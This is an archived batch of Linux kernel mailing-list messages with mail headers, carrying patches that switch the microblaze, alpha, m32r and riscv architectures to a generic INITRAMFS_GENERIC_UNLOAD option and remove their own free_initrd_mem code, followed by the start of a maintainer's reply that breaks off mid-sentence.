NNTP-Posting-Date: Sun, 25 Mar 2018 22:22:12 +0000 (UTC)
Cc: Shea Levy <shea@shealevy.com>
To: linux-alpha@vger.kernel.org, linux-kernel@vger.kernel.org,
        linux-snps-arc@lists.infradead.org, linux-c6x-dev@linux-c6x.org,
        uclinux-h8-devel@lists.sourceforge.jp,
        linux-m68k@lists.linux-m68k.org, nios2-dev@lists.rocketboards.org,
        openrisc@lists.librecores.org, linux-parisc@vger.kernel.org,
        linuxppc-dev@lists.ozlabs.org, linux-riscv@lists.infradead.org,
        linux-sh@vger.kernel.org,
        user-mode-linux-devel@lists.sourceforge.net
Original-X-From: linux-kernel-owner@vger.kernel.org Mon Mar 26 00:22:07 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1f0E1e-0006RW-H5
	for glk-linux-kernel-4@m.gmane.org; Mon, 26 Mar 2018 00:22:06 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752479AbeCYWYL (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Sun, 25 Mar 2018 18:24:11 -0400
Original-Received: from smtprelay0035.hostedemail.com ([216.40.44.35]:36093 "EHLO
        smtprelay.hostedemail.com" rhost-flags-OK-OK-OK-FAIL)
        by vger.kernel.org with ESMTP id S1751090AbeCYWTd (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Sun, 25 Mar 2018 18:19:33 -0400
Original-Received: from filter.hostedemail.com (clb03-v110.bra.tucows.net [216.40.38.60])
        by smtprelay06.hostedemail.com (Postfix) with ESMTP id 68750182251B3;
        Sun, 25 Mar 2018 22:19:32 +0000 (UTC)
X-Session-Marker: 7368656140736865616C6576792E636F6D
X-Spam-Summary: 2,0,0,,d41d8cd98f00b204,,:::::::::::::::::::::::::::,RULES_HIT:41:355:379:541:800:960:966:973:988:989:1260:1345:1359:1534:1541:1711:1714:1730:1747:1777:1792:2194:2196:2199:2200:2393:2559:2562:3138:3139:3140:3141:3142:3351:3876:3877:4250:4321:4385:5007:6114:6261:6642:6737:9592:10004:10848:11026:11473:11658:11914:12048:12114:12296:12438:12533:12555:12895:12986:13069:13311:13357:14096:14181:14384:14394:14721:21080:21451:21627,0,RBL:71.235.10.46:@shealevy.com:.lbl8.mailshell.net-62.4.0.191 64.201.201.201,CacheIP:none,Bayesian:0.5,0.5,0.5,Netcheck:none,DomainCache:0,MSF:not bulk,SPF:ff,MSBL:0,DNSBL:neutral,Custom_rules:0:0:0,LFtime:2,LUA_SUMMARY:none
X-HE-Tag: van52_36100d7bac658
X-Filterd-Recvd-Size: 2133
Original-Received: from localhost (c-71-235-10-46.hsd1.nh.comcast.net [71.235.10.46])
        (Authenticated sender: shea@shealevy.com)
        by omf06.hostedemail.com (Postfix) with ESMTPA;
        Sun, 25 Mar 2018 22:19:31 +0000 (UTC)
X-Mailer: git-send-email 2.16.2
In-Reply-To: <20180325221853.10839-1-shea@shealevy.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2724889 gmane.linux.ports.alpha:4869 gmane.linux.kernel.arc:3659 gmane.linux.ports.parisc:28405 gmane.linux.ports.ppc64.devel:155041 gmane.linux.ports.sh.devel:56726 gmane.linux.uml.devel:16700
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2724889>

Signed-off-by: Shea Levy <shea@shealevy.com>
---
 arch/microblaze/Kconfig   | 1 +
 arch/microblaze/mm/init.c | 7 -------
 2 files changed, 1 insertion(+), 7 deletions(-)

diff --git a/arch/microblaze/Kconfig b/arch/microblaze/Kconfig
index 3817a3e2146c..ef23e8410b4b 100644
--- a/arch/microblaze/Kconfig
+++ b/arch/microblaze/Kconfig
@@ -36,6 +36,7 @@ config MICROBLAZE
 	select TRACING_SUPPORT
 	select VIRT_TO_BUS
 	select CPU_NO_EFFICIENT_FFS
+	select INITRAMFS_GENERIC_UNLOAD
 
 # Endianness selection
 choice
diff --git a/arch/microblaze/mm/init.c b/arch/microblaze/mm/init.c
index df6de7ccdc2e..ea058dfda222 100644
--- a/arch/microblaze/mm/init.c
+++ b/arch/microblaze/mm/init.c
@@ -187,13 +187,6 @@ void __init setup_memory(void)
 	paging_init();
 }
 
-#ifdef CONFIG_BLK_DEV_INITRD
-void free_initrd_mem(unsigned long start, unsigned long end)
-{
-	free_reserved_area((void *)start, (void *)end, -1, "initrd");
-}
-#endif
-
 void free_initmem(void)
 {
 	free_initmem_default(-1);
-- 
2.16.2



From - Thu Nov 08 21:41:10 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Shea Levy <shea@shealevy.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.uml.devel
Subject: [PATCH v2 03/16] alpha: Use INITRAMFS_GENERIC_UNLOAD
Date: Sun, 25 Mar 2018 18:18:40 -0400
Lines: 38
Approved: news@gmane.org
Message-ID: <20180325221853.10839-4-shea@shealevy.com>
References: <20180324174458.26423-1-shea@shealevy.com>
 <20180325221853.10839-1-shea@shealevy.com>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1522016578 27896 195.159.176.226 (25 Mar 2018 22:22:58 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sun, 25 Mar 2018 22:22:58 +0000 (UTC)
Cc: Shea Levy <shea@shealevy.com>
To: linux-alpha@vger.kernel.org, linux-kernel@vger.kernel.org,
        linux-snps-arc@lists.infradead.org, linux-c6x-dev@linux-c6x.org,
        uclinux-h8-devel@lists.sourceforge.jp,
        linux-m68k@lists.linux-m68k.org, nios2-dev@lists.rocketboards.org,
        openrisc@lists.librecores.org, linux-parisc@vger.kernel.org,
        linuxppc-dev@lists.ozlabs.org, linux-riscv@lists.infradead.org,
        linux-sh@vger.kernel.org,
        user-mode-linux-devel@lists.sourceforge.net
Original-X-From: linux-kernel-owner@vger.kernel.org Mon Mar 26 00:22:52 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1f0E2O-00078z-Co
	for glk-linux-kernel-4@m.gmane.org; Mon, 26 Mar 2018 00:22:52 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752348AbeCYWT3 (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Sun, 25 Mar 2018 18:19:29 -0400
Original-Received: from smtprelay0008.hostedemail.com ([216.40.44.8]:58620 "EHLO
        smtprelay.hostedemail.com" rhost-flags-OK-OK-OK-FAIL)
        by vger.kernel.org with ESMTP id S1752175AbeCYWTN (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Sun, 25 Mar 2018 18:19:13 -0400
Original-Received: from filter.hostedemail.com (clb03-v110.bra.tucows.net [216.40.38.60])
        by smtprelay07.hostedemail.com (Postfix) with ESMTP id E9C84181D3368;
        Sun, 25 Mar 2018 22:19:12 +0000 (UTC)
X-Session-Marker: 7368656140736865616C6576792E636F6D
X-Spam-Summary: 2,0,0,,d41d8cd98f00b204,,:::::::::::::::::::::::::::,RULES_HIT:41:355:379:541:800:960:966:973:988:989:1260:1345:1359:1437:1534:1541:1711:1730:1747:1777:1792:2194:2196:2199:2200:2393:2559:2562:3138:3139:3140:3141:3142:3352:3865:3866:3868:3871:4250:4321:4385:5007:6261:6737:7903:9592:10004:10848:11026:11473:11658:11914:12048:12114:12296:12438:12533:12555:12895:12986:13069:13311:13357:14096:14181:14384:14394:14721:21080:21627:30054,0,RBL:71.235.10.46:@shealevy.com:.lbl8.mailshell.net-62.4.0.191 64.201.201.201,CacheIP:none,Bayesian:0.5,0.5,0.5,Netcheck:none,DomainCache:0,MSF:not bulk,SPF:ff,MSBL:0,DNSBL:neutral,Custom_rules:0:0:0,LFtime:19,LUA_SUMMARY:none
X-HE-Tag: chair83_333cfe13ad225
X-Filterd-Recvd-Size: 2142
Original-Received: from localhost (c-71-235-10-46.hsd1.nh.comcast.net [71.235.10.46])
        (Authenticated sender: shea@shealevy.com)
        by omf10.hostedemail.com (Postfix) with ESMTPA;
        Sun, 25 Mar 2018 22:19:12 +0000 (UTC)
X-Mailer: git-send-email 2.16.2
In-Reply-To: <20180325221853.10839-1-shea@shealevy.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2724892 gmane.linux.ports.alpha:4870 gmane.linux.kernel.arc:3660 gmane.linux.ports.parisc:28406 gmane.linux.ports.ppc64.devel:155042 gmane.linux.ports.sh.devel:56727 gmane.linux.uml.devel:16701
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2724892>

Signed-off-by: Shea Levy <shea@shealevy.com>
---
 arch/alpha/Kconfig   | 1 +
 arch/alpha/mm/init.c | 8 --------
 2 files changed, 1 insertion(+), 8 deletions(-)

diff --git a/arch/alpha/Kconfig b/arch/alpha/Kconfig
index e96adcbcab41..238d743ae8f2 100644
--- a/arch/alpha/Kconfig
+++ b/arch/alpha/Kconfig
@@ -27,6 +27,7 @@ config ALPHA
 	select ODD_RT_SIGACTION
 	select OLD_SIGSUSPEND
 	select CPU_NO_EFFICIENT_FFS if !ALPHA_EV67
+	select INITRAMFS_GENERIC_UNLOAD
 	help
 	  The Alpha is a 64-bit general-purpose processor designed and
 	  marketed by the Digital Equipment Corporation of blessed memory,
diff --git a/arch/alpha/mm/init.c b/arch/alpha/mm/init.c
index 9d74520298ab..55f7c8efa962 100644
--- a/arch/alpha/mm/init.c
+++ b/arch/alpha/mm/init.c
@@ -291,11 +291,3 @@ free_initmem(void)
 {
 	free_initmem_default(-1);
 }
-
-#ifdef CONFIG_BLK_DEV_INITRD
-void
-free_initrd_mem(unsigned long start, unsigned long end)
-{
-	free_reserved_area((void *)start, (void *)end, -1, "initrd");
-}
-#endif
-- 
2.16.2



From - Thu Nov 08 21:41:10 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Shea Levy <shea@shealevy.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.uml.devel
Subject: [PATCH v2 08/16] m32r: Use INITRAMFS_GENERIC_UNLOAD
Date: Sun, 25 Mar 2018 18:18:45 -0400
Lines: 41
Approved: news@gmane.org
Message-ID: <20180325221853.10839-9-shea@shealevy.com>
References: <20180324174458.26423-1-shea@shealevy.com>
 <20180325221853.10839-1-shea@shealevy.com>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1522016587 28625 195.159.176.226 (25 Mar 2018 22:23:07 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sun, 25 Mar 2018 22:23:07 +0000 (UTC)
Cc: Shea Levy <shea@shealevy.com>
To: linux-alpha@vger.kernel.org, linux-kernel@vger.kernel.org,
        linux-snps-arc@lists.infradead.org, linux-c6x-dev@linux-c6x.org,
        uclinux-h8-devel@lists.sourceforge.jp,
        linux-m68k@lists.linux-m68k.org, nios2-dev@lists.rocketboards.org,
        openrisc@lists.librecores.org, linux-parisc@vger.kernel.org,
        linuxppc-dev@lists.ozlabs.org, linux-riscv@lists.infradead.org,
        linux-sh@vger.kernel.org,
        user-mode-linux-devel@lists.sourceforge.net
Original-X-From: linux-kernel-owner@vger.kernel.org Mon Mar 26 00:23:02 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1f0E2X-00078z-UU
	for glk-linux-kernel-4@m.gmane.org; Mon, 26 Mar 2018 00:23:02 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752647AbeCYWZH (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Sun, 25 Mar 2018 18:25:07 -0400
Original-Received: from smtprelay0237.hostedemail.com ([216.40.44.237]:34452 "EHLO
        smtprelay.hostedemail.com" rhost-flags-OK-OK-OK-FAIL)
        by vger.kernel.org with ESMTP id S1752360AbeCYWT3 (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Sun, 25 Mar 2018 18:19:29 -0400
Original-Received: from filter.hostedemail.com (clb03-v110.bra.tucows.net [216.40.38.60])
        by smtprelay01.hostedemail.com (Postfix) with ESMTP id 14785100E86C4;
        Sun, 25 Mar 2018 22:19:28 +0000 (UTC)
X-Session-Marker: 7368656140736865616C6576792E636F6D
X-Spam-Summary: 2,0,0,,d41d8cd98f00b204,,:::::::::::::::::::::::::::,RULES_HIT:41:69:355:379:541:800:960:966:973:988:989:1260:1345:1359:1534:1541:1711:1730:1747:1777:1792:2194:2196:2199:2200:2282:2393:2559:2562:3138:3139:3140:3141:3142:3352:3876:3877:4250:4321:4385:5007:6114:6261:6642:6737:9592:10004:10848:11026:11473:11658:11914:12043:12048:12114:12291:12438:12533:12555:12683:12895:12986:13069:13311:13357:14096:14181:14384:14394:14721:21080:21627:30054,0,RBL:71.235.10.46:@shealevy.com:.lbl8.mailshell.net-62.4.0.191 64.201.201.201,CacheIP:none,Bayesian:0.5,0.5,0.5,Netcheck:none,DomainCache:0,MSF:not bulk,SPF:ff,MSBL:0,DNSBL:neutral,Custom_rules:0:0:0,LFtime:15,LUA_SUMMARY:none
X-HE-Tag: sea19_3566b70bb264e
X-Filterd-Recvd-Size: 2230
Original-Received: from localhost (c-71-235-10-46.hsd1.nh.comcast.net [71.235.10.46])
        (Authenticated sender: shea@shealevy.com)
        by omf06.hostedemail.com (Postfix) with ESMTPA;
        Sun, 25 Mar 2018 22:19:26 +0000 (UTC)
X-Mailer: git-send-email 2.16.2
In-Reply-To: <20180325221853.10839-1-shea@shealevy.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2724893 gmane.linux.ports.alpha:4871 gmane.linux.kernel.arc:3661 gmane.linux.ports.parisc:28407 gmane.linux.ports.ppc64.devel:155043 gmane.linux.ports.sh.devel:56728 gmane.linux.uml.devel:16702
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2724893>

Signed-off-by: Shea Levy <shea@shealevy.com>
---
 arch/m32r/Kconfig   |  1 +
 arch/m32r/mm/init.c | 11 -----------
 2 files changed, 1 insertion(+), 11 deletions(-)

diff --git a/arch/m32r/Kconfig b/arch/m32r/Kconfig
index dd84ee194579..010a2b999181 100644
--- a/arch/m32r/Kconfig
+++ b/arch/m32r/Kconfig
@@ -21,6 +21,7 @@ config M32R
 	select CPU_NO_EFFICIENT_FFS
 	select DMA_DIRECT_OPS
 	select ARCH_NO_COHERENT_DMA_MMAP if !MMU
+	select INITRAMFS_GENERIC_UNLOAD
 
 config SBUS
 	bool
diff --git a/arch/m32r/mm/init.c b/arch/m32r/mm/init.c
index 93abc8c3a46e..e2b5f09209ee 100644
--- a/arch/m32r/mm/init.c
+++ b/arch/m32r/mm/init.c
@@ -139,14 +139,3 @@ void free_initmem(void)
 {
 	free_initmem_default(-1);
 }
-
-#ifdef CONFIG_BLK_DEV_INITRD
-/*======================================================================*
- * free_initrd_mem() :
- * orig : arch/sh/mm/init.c
- *======================================================================*/
-void free_initrd_mem(unsigned long start, unsigned long end)
-{
-	free_reserved_area((void *)start, (void *)end, -1, "initrd");
-}
-#endif
-- 
2.16.2



From - Thu Nov 08 21:41:10 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Shea Levy <shea@shealevy.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.uml.devel
Subject: [PATCH v2 02/16] riscv: Use INITRAMFS_GENERIC_UNLOAD.
Date: Sun, 25 Mar 2018 18:18:39 -0400
Lines: 36
Approved: news@gmane.org
Message-ID: <20180325221853.10839-3-shea@shealevy.com>
References: <20180324174458.26423-1-shea@shealevy.com>
 <20180325221853.10839-1-shea@shealevy.com>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1522016606 29667 195.159.176.226 (25 Mar 2018 22:23:26 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sun, 25 Mar 2018 22:23:26 +0000 (UTC)
Cc: Shea Levy <shea@shealevy.com>
To: linux-alpha@vger.kernel.org, linux-kernel@vger.kernel.org,
        linux-snps-arc@lists.infradead.org, linux-c6x-dev@linux-c6x.org,
        uclinux-h8-devel@lists.sourceforge.jp,
        linux-m68k@lists.linux-m68k.org, nios2-dev@lists.rocketboards.org,
        openrisc@lists.librecores.org, linux-parisc@vger.kernel.org,
        linuxppc-dev@lists.ozlabs.org, linux-riscv@lists.infradead.org,
        linux-sh@vger.kernel.org,
        user-mode-linux-devel@lists.sourceforge.net
Original-X-From: linux-kernel-owner@vger.kernel.org Mon Mar 26 00:23:21 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1f0E2o-0007aa-3O
	for glk-linux-kernel-4@m.gmane.org; Mon, 26 Mar 2018 00:23:18 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752344AbeCYWT0 (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Sun, 25 Mar 2018 18:19:26 -0400
Original-Received: from smtprelay0214.hostedemail.com ([216.40.44.214]:44038 "EHLO
        smtprelay.hostedemail.com" rhost-flags-OK-OK-OK-FAIL)
        by vger.kernel.org with ESMTP id S1752159AbeCYWTL (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Sun, 25 Mar 2018 18:19:11 -0400
Original-Received: from filter.hostedemail.com (clb03-v110.bra.tucows.net [216.40.38.60])
        by smtprelay03.hostedemail.com (Postfix) with ESMTP id 6AF7B837F242;
        Sun, 25 Mar 2018 22:19:10 +0000 (UTC)
X-Session-Marker: 7368656140736865616C6576792E636F6D
X-Spam-Summary: 2,0,0,,d41d8cd98f00b204,,:::::::::::::::::::::::::::,RULES_HIT:41:355:379:541:800:960:966:973:988:989:1260:1345:1359:1534:1540:1711:1714:1730:1747:1777:1792:2194:2196:2199:2200:2393:2559:2562:3138:3139:3140:3141:3142:3350:3876:3877:4250:4321:4385:5007:6114:6261:6642:6737:9592:10004:10848:11026:11473:11658:11914:12048:12114:12296:12438:12533:12555:12895:12986:13069:13311:13357:14096:14181:14384:14394:14721:14877:21080:21611:21627,0,RBL:error,CacheIP:none,Bayesian:0.5,0.5,0.5,Netcheck:none,DomainCache:0,MSF:not bulk,SPF:,MSBL:0,DNSBL:error,Custom_rules:0:0:0,LFtime:2000,LUA_SUMMARY:none
X-HE-Tag: burst45_325beda20ad46
X-Filterd-Recvd-Size: 1979
Original-Received: from localhost (c-71-235-10-46.hsd1.nh.comcast.net [71.235.10.46])
        (Authenticated sender: shea@shealevy.com)
        by omf01.hostedemail.com (Postfix) with ESMTPA;
        Sun, 25 Mar 2018 22:19:05 +0000 (UTC)
X-Mailer: git-send-email 2.16.2
In-Reply-To: <20180325221853.10839-1-shea@shealevy.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2724894 gmane.linux.ports.alpha:4872 gmane.linux.kernel.arc:3662 gmane.linux.ports.parisc:28408 gmane.linux.ports.ppc64.devel:155044 gmane.linux.ports.sh.devel:56729 gmane.linux.uml.devel:16703
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2724894>

Signed-off-by: Shea Levy <shea@shealevy.com>
---
 arch/riscv/Kconfig   | 1 +
 arch/riscv/mm/init.c | 6 ------
 2 files changed, 1 insertion(+), 6 deletions(-)

diff --git a/arch/riscv/Kconfig b/arch/riscv/Kconfig
index c22ebe08e902..ab1b4cee84fc 100644
--- a/arch/riscv/Kconfig
+++ b/arch/riscv/Kconfig
@@ -37,6 +37,7 @@ config RISCV
 	select THREAD_INFO_IN_TASK
 	select RISCV_TIMER
 	select GENERIC_IRQ_MULTI_HANDLER
+	select INITRAMFS_GENERIC_UNLOAD
 
 config MMU
 	def_bool y
diff --git a/arch/riscv/mm/init.c b/arch/riscv/mm/init.c
index c77df8142be2..36f83fe8a726 100644
--- a/arch/riscv/mm/init.c
+++ b/arch/riscv/mm/init.c
@@ -62,9 +62,3 @@ void free_initmem(void)
 {
 	free_initmem_default(0);
 }
-
-#ifdef CONFIG_BLK_DEV_INITRD
-void free_initrd_mem(unsigned long start, unsigned long end)
-{
-}
-#endif /* CONFIG_BLK_DEV_INITRD */
-- 
2.16.2



From - Thu Nov 08 21:41:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Palmer Dabbelt <palmer@sifive.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.uml.devel
Subject: Re: [PATCH v2 02/16] riscv: Use INITRAMFS_GENERIC_UNLOAD.
Date: Sun, 25 Mar 2018 17:41:14 -0700 (PDT)
Lines: 42
Approved: news@gmane.org
Message-ID: <mhng-5691a509-dedf-4092-bd6d-020a81512c15@palmer-si-x1c4>
References: <20180325221853.10839-3-shea@shealevy.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0 (MHng)
Content-Type: text/plain; charset=utf-8; format=flowed
Content-Transfer-Encoding: 8bit
X-Trace: blaine.gmane.org 1522024764 21713 195.159.176.226 (26 Mar 2018 00:39:24 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 26 Mar 2018 00:39:24 +0000 (UTC)
Cc: linux-alpha@vger.kernel.org, linux-kernel@vger.kernel.org,
        linux-snps-arc@lists.infradead.org, linux-c6x-dev@linux-c6x.org,
        uclinux-h8-devel@lists.sourceforge.jp,
        linux-m68k@lists.linux-m68k.org, nios2-dev@lists.rocketboards.org,
        openrisc@lists.librecores.org, linux-parisc@vger.kernel.org,
        linuxppc-dev@lists.ozlabs.org, linux-riscv@lists.infradead.org,
        linux-sh@vger.kernel.org,
        user-mode-linux-devel@lists.sourceforge.net, shea@shealevy.com
To: shea@shealevy.com
Original-X-From: linux-kernel-owner@vger.kernel.org Mon Mar 26 02:39:19 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1f0GAN-0004nU-Am
	for glk-linux-kernel-4@m.gmane.org; Mon, 26 Mar 2018 02:39:16 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751907AbeCZAlT (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Sun, 25 Mar 2018 20:41:19 -0400
Original-Received: from mail-pl0-f66.google.com ([209.85.160.66]:45044 "EHLO
        mail-pl0-f66.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751010AbeCZAlQ (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Sun, 25 Mar 2018 20:41:16 -0400
Original-Received: by mail-pl0-f66.google.com with SMTP id 9-v6so10893619ple.11
        for <linux-kernel@vger.kernel.org>; Sun, 25 Mar 2018 17:41:15 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=sifive.com; s=google;
        h=date:subject:in-reply-to:cc:from:to:message-id:mime-version
         :content-transfer-encoding;
        bh=BxrHL3J7YJxSNgyCRyTp73AOcDaRIcmFR/r65TD40dw=;
        b=BBQxIF+wGf8o0y0IdPWdzFmMryeUsjC8+7txLItLE+RASKysUxjFSb+d2PI0EAiPuc
         nZrhvdtRiKawpd0JDkmh/GqT245XT9/NS3fCrOTQe9H4HkUHneotzJqkY0r7cDFQLKJn
         zf0gJtRVNrtJdiTGEaU+Eenhm1sQ/ApZ+wssn2qSFX/HtlLSj1yeHj3XZqMPVIOM2eLo
         ptxFRr0Hdj3lNUjwco0mvSm47m1jOXUgzNBadbx4ilOXle1i6GJUcmgl1i9rh+OZOtX3
         GEM2hgqrYk+imjPdRzdQuCYfA4Cj8XK8FlPMm0ynOY2PKm9EdGtsqgTaDJl+Bu9dktCk
         38oQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:date:subject:in-reply-to:cc:from:to:message-id
         :mime-version:content-transfer-encoding;
        bh=BxrHL3J7YJxSNgyCRyTp73AOcDaRIcmFR/r65TD40dw=;
        b=jz0I4oyvK1nE3jzgxHMQQrFoKhFQSc5XBUR6vmPZeC7uQ5AZCxfTkOMYUwQn53I2Bb
         TBXXEVLiyhKYbK1aCc1UqvnXKtS6vVjN1x+1XLH1tfSi5ACttU+Qi7ahgzr34zb3VQPT
         JV59ud3g49mFGASJEALPYsVvErEF7NegLiTCWt6GBFqVUcLpnfhnVUHqt8qbuvdjl0/S
         nmqI904Bck0aWI3QEik9DDc8Xye8YgkRSeHS0cOxPw+/9kqzZHRnypbRRO9qLlPYG3zp
         ZHszXNxPXkQELp5WF7dhehJY0ASJ3vjnmfPp/IxitRWx12HNuVAAmmEzlh9CZi3yZ+/3
         WvQw==
X-Gm-Message-State: AElRT7FRetZwRLQdVOGWPSwfFn/PAFmjan5TruTXg7dpwccIm66EjTsZ
        ym+N4Hi9PySVO9IytjR+oKBcO1I0KX0=
X-Google-Smtp-Source: AIpwx48TZ9WHmcdDNhuhcacsiRCWXqXRYDkPlsopwcK+aN8K14RKJqm1svp2IYzliEZQTOiHrnWl3g==
X-Received: by 2002:a17:902:6b85:: with SMTP id p5-v6mr6524651plk.66.1522024875403;
        Sun, 25 Mar 2018 17:41:15 -0700 (PDT)
Original-Received: from localhost (c-67-161-15-180.hsd1.ca.comcast.net. [67.161.15.180])
        by smtp.gmail.com with ESMTPSA id t17sm141479pgv.36.2018.03.25.17.41.14
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Sun, 25 Mar 2018 17:41:14 -0700 (PDT)
X-Google-Original-Date: Sun, 25 Mar 2018 17:40:08 PDT (-0700)
In-Reply-To: <20180325221853.10839-3-shea@shealevy.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2724927 gmane.linux.ports.alpha:4873 gmane.linux.kernel.arc:3663 gmane.linux.ports.parisc:28409 gmane.linux.ports.ppc64.devel:155050 gmane.linux.ports.sh.devel:56730 gmane.linux.uml.devel:16704
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2724927>

On Sun, 25 Mar 2018 15:18:39 PDT (-0700), shea@shealevy.com wrote:
> Signed-off-by: Shea Levy <shea@shealevy.com>
> ---
>  arch/riscv/Kconfig   | 1 +
>  arch/riscv/mm/init.c | 6 ------
>  2 files changed, 1 insertion(+), 6 deletions(-)
>
> diff --git a/arch/riscv/Kconfig b/arch/riscv/Kconfig
> index c22ebe08e902..ab1b4cee84fc 100644
> --- a/arch/riscv/Kconfig
> +++ b/arch/riscv/Kconfig
> @@ -37,6 +37,7 @@ config RISCV
>  	select THREAD_INFO_IN_TASK
>  	select RISCV_TIMER
>  	select GENERIC_IRQ_MULTI_HANDLER
> +	select INITRAMFS_GENERIC_UNLOAD
>
>  config MMU
>  	def_bool y
> diff --git a/arch/riscv/mm/init.c b/arch/riscv/mm/init.c
> index c77df8142be2..36f83fe8a726 100644
> --- a/arch/riscv/mm/init.c
> +++ b/arch/riscv/mm/init.c
> @@ -62,9 +62,3 @@ void free_initmem(void)
>  {
>  	free_initmem_default(0);
>  }
> -
> -#ifdef CONFIG_BLK_DEV_INITRD
> -void free_initrd_mem(unsigned long start, unsigned long end)
> -{
> -}
> -#endif /* CONFIG_BLK_DEV_INITRD */

I haven't looked through the rest of the patch set, but this is a pretty 
